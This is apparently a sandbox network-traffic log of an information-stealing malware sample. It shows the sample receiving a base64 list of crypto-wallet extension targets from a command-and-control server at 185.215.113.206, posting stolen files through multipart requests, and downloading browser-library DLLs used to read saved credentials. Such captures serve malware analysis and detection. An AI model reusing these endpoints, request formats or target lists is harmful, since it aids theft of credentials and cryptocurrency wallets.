Oct 27, 2024 12:13:11.948606014 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 27, 2024 12:13:11.948642015 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 27, 2024 12:13:11.948682070 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 27, 2024 12:13:11.948836088 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 27, 2024 12:13:11.948983908 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Oct 27, 2024 12:13:11.951422930 CET	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"fplugins------KKEHDBAEGIIIEBGCAAFH--
Oct 27, 2024 12:13:12.234390974 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 27, 2024 12:13:12.256719112 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 185.215.113.206 Content-Length: 5607 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 12:13:12.256772041 CET	5607	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 27, 2024 12:13:13.057262897 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:13.949548960 CET	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:14.231540918 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 27, 2024 12:13:14.231596947 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 27, 2024 12:13:17.880798101 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHI Host: 185.215.113.206 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 12:13:18.673960924 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:18.779808044 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 12:13:20.103375912 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:20.126310110 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="file"------KJECFHCBKKEBAKFIJDHI--
Oct 27, 2024 12:13:20.905229092 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:21.581696033 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="file"------GHCAKKEGCAAFHJJJDBKJ--
Oct 27, 2024 12:13:22.356642962 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:22.775043964 CET	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:23.056976080 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 27, 2024 12:13:24.533981085 CET	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:24.817554951 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 27, 2024 12:13:25.815206051 CET	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:26.097140074 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 27, 2024 12:13:26.613939047 CET	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:26.895849943 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 27, 2024 12:13:28.530607939 CET	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:28.812587976 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 27, 2024 12:13:29.016206026 CET	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 12:13:29.298594952 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 